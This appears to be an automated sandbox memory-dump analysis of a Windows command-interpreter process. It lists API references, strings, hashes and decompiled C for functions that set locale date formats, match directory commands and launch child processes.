0x008938ca
0x008938ca
0x008938ce
0x0089380c
0x0089380c
0x0089381a
0x00893820
0x00893822
0x0089383b
0x0089383b
0x0089383d
0x00893842
0x00893842
0x00893846
0x00893848
0x00893848
0x0089384b
0x0089384b
0x0089384e
0x00893851
0x00893851
0x00893861
0x00893865
0x0089386f
0x00893870
0x00893871
0x00893875
0x00893877
0x0089387b
0x00893892
0x0089389c
0x008938a0
0x008938a0
0x008938d2
0x008938d4
0x008938e9
0x008938e9
0x008938d6
0x008938d7
0x008938e1
0x008938e1
0x008938eb
0x008938ed
0x008938ed
0x008938f0
0x008938f0
0x008938f3
0x008938f6
0x008938f6
0x008938ff
0x008938ff
0x00893902
0x00893917
0x00893919
0x0089391b
0x0089392e
0x0089391d
0x0089391d
0x00893924
0x00000000
0x00893924
0x0089391b
0x008936dc
0x00893693
0x00893697
0x0089369a
0x00000000
0x00000000
0x00000000
0x00000000
0x0089369a
0x00893691
0x00000000
0x00893688
0x008936ce
0x008936d0
0x00000000
0x008936d0
0x00000000
0x00893676
0x0089369c
0x0089369e
0x008936ab
0x008936ab
0x008936b1
0x008936b1
0x0089356e
0x00893561
0x0089395a
0x0089395e
0x0089395f
0x00893960
0x0089396b

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,0000000A,00000000,00000001), ref: 0089352E
_get_osfhandle.MSVCRT ref: 0089353F
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000,?), ref: 0089357A
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 008935E1
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,0000000A,?,?,00000010), ref: 008935F8
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 00893607
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00893626
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00893639
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 00893647
RtlFreeHeap.NTDLL(00000000), ref: 0089364E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 008936A4
RtlFreeHeap.NTDLL(00000000), ref: 008936AB
_wcsnicmp.MSVCRT ref: 00893750
_wcsnicmp.MSVCRT ref: 00893765
_wcsnicmp.MSVCRT ref: 0089377A
_wcsnicmp.MSVCRT ref: 0089378F
_wcsnicmp.MSVCRT ref: 008937A4
_wcsnicmp.MSVCRT ref: 008937B9
_wcsnicmp.MSVCRT ref: 008937CE
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,00000001,?), ref: 0089381A
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?), ref: 00893865
FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,00000020,?,?,?), ref: 0089387B
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,0000000A,?,?,00000000), ref: 00893892
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000), ref: 008938DA
RtlFreeHeap.NTDLL(00000000), ref: 008938E1
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000009,?,?,?,00000001), ref: 0089390A
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 00893911
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 00893938
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,0000000A,?,?,00000000), ref: 00893949
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(008B7F20), ref: 00893952

Strings

mkdir , xrefs: 008937B3
pushd , xrefs: 008937C8
md , xrefs: 00893774
rd , xrefs: 0089375F
chdir , xrefs: 00893789
rmdir , xrefs: 0089379E
cd , xrefs: 0089374A

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferCriticalInfoReadReleaseScreenSection$AllocCharacterCursorEnterFillHandleLeaveOutputPositionWrite_get_osfhandle
String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
API String ID: 2991647268-3100821235
Opcode ID: 199b78a6b9446366791f020b3e9541aa6e001ed18cd152ede9ee42009f164fcd
Instruction ID: ed3c7648525f89e85d53ee39cb190b036a39e4dfc528520a639451ac36191f68
Opcode Fuzzy Hash: 199b78a6b9446366791f020b3e9541aa6e001ed18cd152ede9ee42009f164fcd
Instruction Fuzzy Hash: 12C1A0B1604301AFCB10BF64DC88A6B7BF5FB89314F084A2DF996D62A0D775CA45DB12

Uniqueness

Uniqueness Score: -1.00%

Function 00883F80, Relevance: 47.6, APIs: 15, Strings: 12, Instructions: 395
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00883F80() {
				signed int _v8;
				short _v264;
				void* __edi;
				void* __esi;
				signed int _t33;
				signed int _t75;
				signed int _t76;
				signed int _t77;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				signed int _t81;
				signed int _t82;
				signed int _t83;
				signed int _t84;
				intOrPtr _t86;
				void* _t87;
				signed int _t89;
				signed int _t90;
				signed int _t91;
				void* _t92;
				short* _t93;
				short* _t94;
				short* _t95;
				short* _t96;
				short* _t97;
				short* _t98;
				short* _t99;
				short* _t100;
				short* _t101;
				short* _t102;
				short* _t103;
				intOrPtr* _t106;
				int _t107;
				int _t108;
				int _t109;
				int _t110;
				int _t111;
				int _t112;
				int _t113;
				int _t114;
				int _t115;
				int _t116;
				void* _t118;
				void* _t120;
				void* _t122;
				void* _t124;
				void* _t126;
				void* _t128;
				void* _t130;
				void* _t132;
				void* _t134;
				int _t136;
				signed int _t138;

				_t33 =  *0x89d0b4; // 0x987dc5f4
				_v8 = _t33 ^ _t138;
				_t136 = E008841A4();
				if(GetLocaleInfoW(_t136, 0x1e, 0x89f81c, 8) == 0) {
					_t93 = 0x89f81c;
					_t107 = 8;
					_t118 = ":" - 0x89f81c;
					while(1) {
						_t11 = _t107 + 0x7ffffff6; // 0x7ffffffe
						if(_t11 == 0) {
							break;
						}
						_t91 =  *(_t118 + _t93) & 0x0000ffff;
						if(_t91 == 0) {
							break;
						}
						 *_t93 = _t91;
						_t93 =  &(_t93[1]);
						_t107 = _t107 - 1;
						if(_t107 != 0) {
							continue;
						}
						L33:
						_t93 = _t93 - 2;
						L34:
						 *_t93 = 0;
						goto L1;
					}
					if(_t107 != 0) {
						goto L34;
					}
					goto L33;
				}
				L1:
				if(GetLocaleInfoW(_t136, 0x23,  &_v264, 0x80) == 0) {
					L9:
					 *0x89d540 = 0;
					if(GetLocaleInfoW(_t136, 0x21,  &_v264, 0x80) != 0) {
						_t86 = (_v264 & 0x0000ffff) - 0x30;
						if(_t86 != 0) {
							_t87 = _t86 - 1;
							if(_t87 == 0) {
								 *0x89d540 = 1;
								 *0x89f7f8 = L"dd/MM/yy";
							} else {
								if(_t87 == 1) {
									 *0x89d540 = 2;
									 *0x89f7f8 = L"yy/MM/dd";
								}
							}
						} else {
							 *0x89d540 = _t86;
							 *0x89f7f8 = L"MM/dd/yy";
						}
					}
					 *0x89f620 = 2;
					if(GetLocaleInfoW(_t136, 0x24,  &_v264, 0x80) != 0 && _v264 == 0x31) {
						 *0x89f620 = 4;
					}
					if(GetLocaleInfoW(_t136, 0x1d, 0x89f80c, 8) == 0) {
						_t94 = 0x89f80c;
						_t108 = 8;
						_t120 = "/" - 0x89f80c;
						while(1) {
							_t13 = _t108 + 0x7ffffff6; // 0x7ffffffe
							if(_t13 == 0) {
								break;
							}
							_t84 =  *(_t120 + _t94) & 0x0000ffff;
							if(_t84 == 0) {
								break;
							}
							 *_t94 = _t84;
							_t94 =  &(_t94[1]);
							_t108 = _t108 - 1;
							if(_t108 != 0) {
								continue;
							}
							L45:
							_t94 = _t94 - 2;
							L46:
							 *_t94 = 0;
							goto L16;
						}
						if(_t108 != 0) {
							goto L46;
						}
						goto L45;
					} else {
						L16:
						if(GetLocaleInfoW(_t136, 0x31, 0x89f7a8, 0x20) == 0) {
							_t95 = 0x89f7a8;
							_t109 = 0x20;
							_t122 = L"Mon" - 0x89f7a8;
							while(1) {
								_t15 = _t109 + 0x7fffffde; // 0x7ffffffe
								if(_t15 == 0) {
									break;
								}
								_t83 =  *(_t122 + _t95) & 0x0000ffff;
								if(_t83 == 0) {
									break;
								}
								 *_t95 = _t83;
								_t95 =  &(_t95[1]);
								_t109 = _t109 - 1;
								if(_t109 != 0) {
									continue;
								}
								L53:
								_t95 = _t95 - 2;
								L54:
								 *_t95 = 0;
								goto L17;
							}
							if(_t109 != 0) {
								goto L54;
							}
							goto L53;
						}
						L17:
						if(GetLocaleInfoW(_t136, 0x32, 0x89f768, 0x20) == 0) {
							_t96 = 0x89f768;
							_t110 = 0x20;
							_t124 = L"Tue" - 0x89f768;
							while(1) {
								_t17 = _t110 + 0x7fffffde; // 0x7ffffffe
								if(_t17 == 0) {
									break;
								}
								_t82 =  *(_t124 + _t96) & 0x0000ffff;
								if(_t82 == 0) {
									break;
								}
								 *_t96 = _t82;
								_t96 =  &(_t96[1]);
								_t110 = _t110 - 1;
								if(_t110 != 0) {
									continue;
								}
								L61:
								_t96 = _t96 - 2;
								L62:
								 *_t96 = 0;
								goto L18;
							}
							if(_t110 != 0) {
								goto L62;
							}
							goto L61;
						}
						L18:
						if(GetLocaleInfoW(_t136, 0x33, 0x89f728, 0x20) == 0) {
							_t97 = 0x89f728;
							_t111 = 0x20;
							_t126 = L"Wed" - 0x89f728;
							while(1) {
								_t19 = _t111 + 0x7fffffde; // 0x7ffffffe
								if(_t19 == 0) {
									break;
								}
								_t81 =  *(_t126 + _t97) & 0x0000ffff;
								if(_t81 == 0) {
									break;
								}
								 *_t97 = _t81;
								_t97 =  &(_t97[1]);
								_t111 = _t111 - 1;
								if(_t111 != 0) {
									continue;
								}
								L69:
								_t97 = _t97 - 2;
								L70:
								 *_t97 = 0;
								goto L19;
							}
							if(_t111 != 0) {
								goto L70;
							}
							goto L69;
						}
						L19:
						if(GetLocaleInfoW(_t136, 0x34, 0x89f6e8, 0x20) == 0) {
							_t98 = 0x89f6e8;
							_t112 = 0x20;
							_t128 = L"Thu" - 0x89f6e8;
							while(1) {
								_t21 = _t112 + 0x7fffffde; // 0x7ffffffe
								if(_t21 == 0) {
									break;
								}
								_t80 =  *(_t128 + _t98) & 0x0000ffff;
								if(_t80 == 0) {
									break;
								}
								 *_t98 = _t80;
								_t98 =  &(_t98[1]);
								_t112 = _t112 - 1;
								if(_t112 != 0) {
									continue;
								}
								L77:
								_t98 = _t98 - 2;
								L78:
								 *_t98 = 0;
								goto L20;
							}
							if(_t112 != 0) {
								goto L78;
							}
							goto L77;
						}
						L20:
						if(GetLocaleInfoW(_t136, 0x35, 0x89f6a8, 0x20) == 0) {
							_t99 = 0x89f6a8;
							_t113 = 0x20;
							_t130 = L"Fri" - 0x89f6a8;
							while(1) {
								_t23 = _t113 + 0x7fffffde; // 0x7ffffffe
								if(_t23 == 0) {
									break;
								}
								_t79 =  *(_t130 + _t99) & 0x0000ffff;
								if(_t79 == 0) {
									break;
								}
								 *_t99 = _t79;
								_t99 =  &(_t99[1]);
								_t113 = _t113 - 1;
								if(_t113 != 0) {
									continue;
								}
								L85:
								_t99 = _t99 - 2;
								L86:
								 *_t99 = 0;
								goto L21;
							}
							if(_t113 != 0) {
								goto L86;
							}
							goto L85;
						}
						L21:
						if(GetLocaleInfoW(_t136, 0x36, 0x89f668, 0x20) == 0) {
							_t100 = 0x89f668;
							_t114 = 0x20;
							_t132 = L"Sat" - 0x89f668;
							while(1) {
								_t25 = _t114 + 0x7fffffde; // 0x7ffffffe
								if(_t25 == 0) {
									break;
								}
								_t78 =  *(_t132 + _t100) & 0x0000ffff;
								if(_t78 == 0) {
									break;
								}
								 *_t100 = _t78;
								_t100 =  &(_t100[1]);
								_t114 = _t114 - 1;
								if(_t114 != 0) {
									continue;
								}
								L93:
								_t100 = _t100 - 2;
								L94:
								 *_t100 = 0;
								goto L22;
							}
							if(_t114 != 0) {
								goto L94;
							}
							goto L93;
						}
						L22:
						if(GetLocaleInfoW(_t136, 0x37, 0x89f628, 0x20) == 0) {
							_t101 = 0x89f628;
							_t115 = 0x20;
							_t134 = L"Sun" - 0x89f628;
							while(1) {
								_t27 = _t115 + 0x7fffffde; // 0x7ffffffe
								if(_t27 == 0) {
									break;
								}
								_t77 =  *(_t134 + _t101) & 0x0000ffff;
								if(_t77 == 0) {
									break;
								}
								 *_t101 = _t77;
								_t101 =  &(_t101[1]);
								_t115 = _t115 - 1;
								if(_t115 != 0) {
									continue;
								}
								L101:
								_t101 = _t101 - 2;
								L102:
								 *_t101 = 0;
								goto L23;
							}
							if(_t115 != 0) {
								goto L102;
							}
							goto L101;
						}
						L23:
						if(GetLocaleInfoW(_t136, 0xe, 0x89f7fc, 8) == 0) {
							_t102 = 0x89f7fc;
							_t116 = 8;
							_t134 = "." - 0x89f7fc;
							while(1) {
								_t29 = _t116 + 0x7ffffff6; // 0x7ffffffe
								if(_t29 == 0) {
									break;
								}
								_t76 =  *(_t134 + _t102) & 0x0000ffff;
								if(_t76 == 0) {
									break;
								}
								 *_t102 = _t76;
								_t102 =  &(_t102[1]);
								_t116 = _t116 - 1;
								if(_t116 != 0) {
									continue;
								}
								L109:
								_t102 = _t102 - 2;
								L110:
								 *_t102 = 0;
								goto L24;
							}
							if(_t116 != 0) {
								goto L110;
							}
							goto L109;
						}
						L24:
						if(GetLocaleInfoW(_t136, 0xf, 0x89f7e8, 8) == 0) {
							_t103 = 0x89f7e8;
							_t116 = 8;
							_t136 = "," - 0x89f7e8;
							while(1) {
								_t31 = _t116 + 0x7ffffff6; // 0x7ffffffe
								if(_t31 == 0) {
									break;
								}
								_t75 =  *(_t103 + _t136) & 0x0000ffff;
								if(_t75 == 0) {
									break;
								}
								 *_t103 = _t75;
								_t103 =  &(_t103[1]);
								_t116 = _t116 - 1;
								if(_t116 != 0) {
									continue;
								}
								L117:
								_t103 = _t103 - 2;
								L118:
								 *_t103 = 0;
								goto L25;
							}
							if(_t116 != 0) {
								goto L118;
							}
							goto L117;
						}
						L25:
						__imp__setlocale(".OCP");
						return E00886FD0(0, _t92, _v8 ^ _t138, _t116, _t134, _t136, 0);
					}
				} else {
					_t89 = "1";
					_t106 =  &_v264;
					while(1) {
						_t116 =  *_t106;
						if(_t116 !=  *_t89) {
							break;
						}
						if(_t116 == 0) {
							L7:
							_t90 = 0;
							L8:
							 *0x89d0cc = _t90;
							goto L9;
						}
						_t116 =  *((intOrPtr*)(_t106 + 2));
						_t5 = _t89 + 2; // 0x410000
						if(_t116 !=  *_t5) {
							break;
						}
						_t106 = _t106 + 4;
						_t89 = _t89 + 4;
						if(_t116 != 0) {
							continue;
						}
						goto L7;
					}
					asm("sbb eax, eax");
					_t90 = _t89 | 0x00000001;
					goto L8;
				}
			}

0x00883f8b
0x00883f92
0x00883fa3
0x00883fb0
0x0088e1fa
0x0088e204
0x0088e209
0x0088e20b
0x0088e20b
0x0088e213
0x00000000
0x00000000
0x0088e215
0x0088e21c
0x00000000
0x00000000
0x0088e21e
0x0088e221
0x0088e224
0x0088e227
0x00000000
0x00000000
0x0088e22f
0x0088e22f
0x0088e232
0x0088e234
0x00000000
0x0088e234
0x0088e22d
0x00000000
0x00000000
0x00000000
0x0088e22d
0x00883fb6
0x00883fcd
0x00884011
0x0088401c
0x00884032
0x0088403b
0x0088403e
0x0088e23c
0x0088e23f
0x0088e263
0x0088e26d
0x0088e241
0x0088e244
0x0088e24a
0x0088e254
0x0088e254
0x0088e244
0x00884044
0x00884044
0x00884049
0x00884049
0x0088403e
0x0088405e
0x00884074
0x00884080
0x00884080
0x0088409c
0x0088e27c
0x0088e286
0x0088e28b
0x0088e28d
0x0088e28d
0x0088e295
0x00000000
0x00000000
0x0088e297
0x0088e29e
0x00000000
0x00000000
0x0088e2a0
0x0088e2a3
0x0088e2a6
0x0088e2a9
0x00000000
0x00000000
0x0088e2b1
0x0088e2b1
0x0088e2b4
0x0088e2b6
0x00000000
0x0088e2b6
0x0088e2af
0x00000000
0x00000000
0x00000000
0x008840a2
0x008840a2
0x008840b4
0x0088e2be
0x0088e2c8
0x0088e2cd
0x0088e2cf
0x0088e2cf
0x0088e2d7
0x00000000
0x00000000
0x0088e2d9
0x0088e2e0
0x00000000
0x00000000
0x0088e2e2
0x0088e2e5
0x0088e2e8
0x0088e2eb
0x00000000
0x00000000
0x0088e2f3
0x0088e2f3
0x0088e2f6
0x0088e2f8
0x00000000
0x0088e2f8
0x0088e2f1
0x00000000
0x00000000
0x00000000
0x0088e2f1
0x008840ba
0x008840cc
0x0088e300
0x0088e30a
0x0088e30f
0x0088e311
0x0088e311
0x0088e319
0x00000000
0x00000000
0x0088e31b
0x0088e322
0x00000000
0x00000000
0x0088e324
0x0088e327
0x0088e32a
0x0088e32d
0x00000000
0x00000000
0x0088e335
0x0088e335
0x0088e338
0x0088e33a
0x00000000
0x0088e33a
0x0088e333
0x00000000
0x00000000
0x00000000
0x0088e333
0x008840d2
0x008840e4
0x0088e342
0x0088e34c
0x0088e351
0x0088e353
0x0088e353
0x0088e35b
0x00000000
0x00000000
0x0088e35d
0x0088e364
0x00000000
0x00000000
0x0088e366
0x0088e369
0x0088e36c
0x0088e36f
0x00000000
0x00000000
0x0088e377
0x0088e377
0x0088e37a
0x0088e37c
0x00000000
0x0088e37c
0x0088e375
0x00000000
0x00000000
0x00000000
0x0088e375
0x008840ea
0x008840fc
0x0088e384
0x0088e38e
0x0088e393
0x0088e395
0x0088e395
0x0088e39d
0x00000000
0x00000000
0x0088e39f
0x0088e3a6
0x00000000
0x00000000
0x0088e3a8
0x0088e3ab
0x0088e3ae
0x0088e3b1
0x00000000
0x00000000
0x0088e3b9
0x0088e3b9
0x0088e3bc
0x0088e3be
0x00000000
0x0088e3be
0x0088e3b7
0x00000000
0x00000000
0x00000000
0x0088e3b7
0x00884102
0x00884114
0x0088e3c6
0x0088e3d0
0x0088e3d5
0x0088e3d7
0x0088e3d7
0x0088e3df
0x00000000
0x00000000
0x0088e3e1
0x0088e3e8
0x00000000
0x00000000
0x0088e3ea
0x0088e3ed
0x0088e3f0
0x0088e3f3
0x00000000
0x00000000
0x0088e3fb
0x0088e3fb
0x0088e3fe
0x0088e400
0x00000000
0x0088e400
0x0088e3f9
0x00000000
0x00000000
0x00000000
0x0088e3f9
0x0088411a
0x0088412c
0x0088e408
0x0088e412
0x0088e417
0x0088e419
0x0088e419
0x0088e421
0x00000000
0x00000000
0x0088e423
0x0088e42a
0x00000000
0x00000000
0x0088e42c
0x0088e42f
0x0088e432
0x0088e435
0x00000000
0x00000000
0x0088e43d
0x0088e43d
0x0088e440
0x0088e442
0x00000000
0x0088e442
0x0088e43b
0x00000000
0x00000000
0x00000000
0x0088e43b
0x00884132
0x00884144
0x0088e44a
0x0088e454
0x0088e459
0x0088e45b
0x0088e45b
0x0088e463
0x00000000
0x00000000
0x0088e465
0x0088e46c
0x00000000
0x00000000
0x0088e46e
0x0088e471
0x0088e474
0x0088e477
0x00000000
0x00000000
0x0088e47f
0x0088e47f
0x0088e482
0x0088e484
0x00000000
0x0088e484
0x0088e47d
0x00000000
0x00000000
0x00000000
0x0088e47d
0x0088414a
0x0088415c
0x0088e48c
0x0088e496
0x0088e49b
0x0088e49d
0x0088e49d
0x0088e4a5
0x00000000
0x00000000
0x0088e4a7
0x0088e4ae
0x00000000
0x00000000
0x0088e4b0
0x0088e4b3
0x0088e4b6
0x0088e4b9
0x00000000
0x00000000
0x0088e4c1
0x0088e4c1
0x0088e4c4
0x0088e4c6
0x00000000
0x0088e4c6
0x0088e4bf
0x00000000
0x00000000
0x00000000
0x0088e4bf
0x00884162
0x00884174
0x0088e4ce
0x0088e4d8
0x0088e4dd
0x0088e4df
0x0088e4df
0x0088e4e7
0x00000000
0x00000000
0x0088e4e9
0x0088e4f0
0x00000000
0x00000000
0x0088e4f2
0x0088e4f5
0x0088e4f8
0x0088e4fb
0x00000000
0x00000000
0x0088e503
0x0088e503
0x0088e506
0x0088e508
0x00000000
0x0088e508
0x0088e501
0x00000000
0x00000000
0x00000000
0x0088e501
0x0088417a
0x00884181
0x00884199
0x00884199
0x00883fcf
0x00883fcf
0x00883fd4
0x00883fe0
0x00883fe0
0x00883fe6
0x00000000
0x00000000
0x00883fef
0x0088400a
0x0088400a
0x0088400c
0x0088400c
0x00000000
0x0088400c
0x00883ff1
0x00883ff5
0x00883ff9
0x00000000
0x00000000
0x00883fff
0x00884002
0x00884008
0x00000000
0x00000000
0x00000000
0x00884008
0x0088419a
0x0088419c
0x00000000
0x0088419c

APIs

Part of subcall function 008841A4: GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00875BA1,0000001F,?,00000080), ref: 008841A4

GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000001E,0089F81C,00000008,00000000,?), ref: 00883FA8
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000023,?,00000080), ref: 00883FC5
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000021,?,00000080), ref: 0088402A
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000024,?,00000080), ref: 0088406C
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000001D,0089F80C,00000008), ref: 00884094
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000031,0089F7A8,00000020), ref: 008840AC
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000032,0089F768,00000020), ref: 008840C4
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000033,0089F728,00000020), ref: 008840DC
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000034,0089F6E8,00000020), ref: 008840F4
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000035,0089F6A8,00000020), ref: 0088410C
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000036,0089F668,00000020), ref: 00884124
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000037,0089F628,00000020), ref: 0088413C
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000000E,0089F7FC,00000008), ref: 00884154
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000000F,0089F7E8,00000008), ref: 0088416C
setlocale.MSVCRT ref: 00884181

Strings

MM/dd/yy, xrefs: 00884049
dd/MM/yy, xrefs: 0088E26D
Tue, xrefs: 0088E305
.OCP, xrefs: 0088417A
Wed, xrefs: 0088E347
Thu, xrefs: 0088E389
1, xrefs: 00884076
yy/MM/dd, xrefs: 0088E254
Sat, xrefs: 0088E40D
Mon, xrefs: 0088E2C3
Fri, xrefs: 0088E3CB
Sun, xrefs: 0088E44F

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: InfoLocale$DefaultUsersetlocale
String ID: .OCP$1$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
API String ID: 1351325837-478706884
Opcode ID: ff013d523b76299447d222db70870c2169f8d03a206fec734dbe6f4a5071812f
Instruction ID: 4eda4439df0ea0532917ceabf647999728eebc9f98fed50108f8fa293ede5f98
Opcode Fuzzy Hash: ff013d523b76299447d222db70870c2169f8d03a206fec734dbe6f4a5071812f
Instruction Fuzzy Hash: E7D1113560031296DB25BF348D08B7632A9FF51748F18822AEB06DB6D9EB74CE0AC315

Uniqueness

Uniqueness Score: -1.00%

Function 0088374E, Relevance: 42.3, APIs: 15, Strings: 9, Instructions: 322
threadprocessstringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E0088374E(void* __ebx, intOrPtr __ecx, WCHAR* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t68;
				void* _t74;
				intOrPtr _t84;
				intOrPtr _t90;
				WCHAR* _t92;
				WCHAR* _t94;
				WCHAR* _t95;
				int _t98;
				long _t99;
				signed int _t101;
				void* _t104;
				struct _SECURITY_ATTRIBUTES* _t109;
				void* _t117;
				WCHAR* _t122;
				WCHAR* _t129;
				WCHAR* _t135;
				void* _t147;
				signed int _t154;
				WCHAR* _t163;
				void* _t165;
				signed int _t167;
				void* _t169;
				WCHAR* _t174;
				struct _SECURITY_ATTRIBUTES* _t177;
				void* _t178;

				E008875CC(__ebx, __edi, __esi);
				 *(_t178 - 0xa8) = __edx;
				 *((intOrPtr*)(_t178 - 0xbc)) = __ecx;
				_t174 =  *(_t178 + 0xc);
				_t135 =  *(_t178 + 0x10);
				_t177 = 0;
				 *(_t178 - 0xac) = 0;
				 *(_t178 - 0xa4) = 0;
				 *((intOrPtr*)(_t178 - 0xb0)) = 0;
				 *((intOrPtr*)(_t178 - 0xb4)) = 0x20;
				_t68 = _t178 - 0xa0;
				__imp__InitializeProcThreadAttributeList(_t68, 1, 0, _t178 - 0xb4, 0x89bdf8, 0x108);
				if(_t68 == 0) {
					 *0x8b3cf0 = GetLastError();
					E00895011(_t135);
					L21:
					return E00887614(_t135, _t174, _t177);
				}
				 *((intOrPtr*)(_t178 - 0xb8)) = 1;
				_t74 = _t178 - 0xa0;
				__imp__UpdateProcThreadAttribute(_t74, 0, 0x60001, _t178 - 0xb8, 4, 0, 0);
				if(_t74 == 0) {
					 *0x8b3cf0 = GetLastError();
					E00895011(_t135);
					__imp__DeleteProcThreadAttributeList(_t178 - 0xa0);
					goto L36;
				} else {
					memset(_t178 - 0x118, 0, 0x48);
					 *((intOrPtr*)(_t178 - 0xd4)) = _t178 - 0xa0;
					 *(_t178 - 0x118) = 0x48;
					 *((intOrPtr*)(_t178 - 0x10c)) =  *((intOrPtr*)(_t178 + 0x14));
					 *((intOrPtr*)(_t178 - 0x108)) = 0;
					 *((intOrPtr*)(_t178 - 0x104)) = 1;
					_t84 = 0x64;
					 *((intOrPtr*)(_t178 - 0x100)) = _t84;
					 *((intOrPtr*)(_t178 - 0xfc)) = _t84;
					 *((intOrPtr*)(_t178 - 0xec)) = 0;
					 *(_t178 - 0xe8) = 1;
					memset(_t178 - 0x68, 0, 0x44);
					 *(_t178 - 0x68) = 0x44;
					GetStartupInfoW(_t178 - 0x68);
					 *((intOrPtr*)(_t178 - 0x110)) =  *((intOrPtr*)(_t178 - 0x60));
					 *((intOrPtr*)(_t178 - 4)) = 0;
					if(E00883320(L"COPYCMD") == 0) {
					}
					_t90 = E0087DF40(0x8724ac);
					 *((intOrPtr*)(_t178 - 0xb0)) = _t90;
					if(_t90 == 0) {
						L35:
						_push(0xfffffffe);
						_push(_t178 - 0x10);
						_push(0x89d0b4);
						L008882BB();
						L36:
						goto L21;
					}
					if( *0x8b3ccc == 0) {
						__eflags =  *0x8b8058;
						if( *0x8b8058 != 0) {
							goto L6;
						}
						__eflags =  *0x8b3cc4;
						if( *0x8b3cc4 == 0) {
							L8:
							E00884C00();
							_t94 =  *0x8b3cc4;
							if(_t94 != 0) {
								_t147 = _t94[0x18];
								__eflags = _t147;
								if(_t147 == 0) {
									goto L9;
								}
								_t129 =  *0x8b3cb8;
								__eflags = _t129;
								if(_t129 == 0) {
									_t129 = 0x8b3ab0;
								}
								_t98 = CreateProcessAsUserW(_t147, _t135, _t174, _t177, _t177, 1, 0x80000, _t177, _t129, _t178 - 0x118, _t178 - 0xcc);
								L11:
								_t174 = _t98;
								if(_t174 == 0) {
									_t99 = GetLastError();
									 *(_t178 - 0xac) = _t99;
									 *0x8b3cf0 = _t99;
								} else {
									 *(_t178 - 0xa4) =  *(_t178 - 0xcc);
									CloseHandle( *(_t178 - 0xc8));
								}
								_t150 = L"COPYCMD";
								E00883A50(L"COPYCMD",  *((intOrPtr*)(_t178 - 0xb0)));
								if(_t174 == 0) {
									__eflags =  *0x8b3cc9;
									if( *0x8b3cc9 == 0) {
										L48:
										__eflags =  *0x8b3cf0 - 0x2e4;
										if( *0x8b3cf0 != 0x2e4) {
											L54:
											__eflags = _t174;
											if(_t174 != 0) {
												goto L14;
											}
											_t177 = E008800B0(0xffce);
											__eflags = _t177;
											if(_t177 != 0) {
												E00881040(_t177, 0x7fe7, _t135);
												E00895011(_t177);
												E00880040(_t177);
											}
											goto L35;
										}
										L49:
										_t122 = E00887797(_t150);
										__eflags = _t122;
										if(_t122 == 0) {
											_t174 = _t177;
										} else {
											_t163 =  *0x8b3cb8;
											__eflags = _t163;
											if(_t163 == 0) {
												_t163 = 0x8b3ab0;
											}
											_t174 =  *0x8bc01c(_t177, _t135,  *((intOrPtr*)( *((intOrPtr*)(_t178 - 0xbc)) + 0x3c)), _t163,  *(_t178 - 0xe8) & 0x0000ffff, _t178 - 0xa4, 0x8b3cf0);
										}
										goto L54;
									}
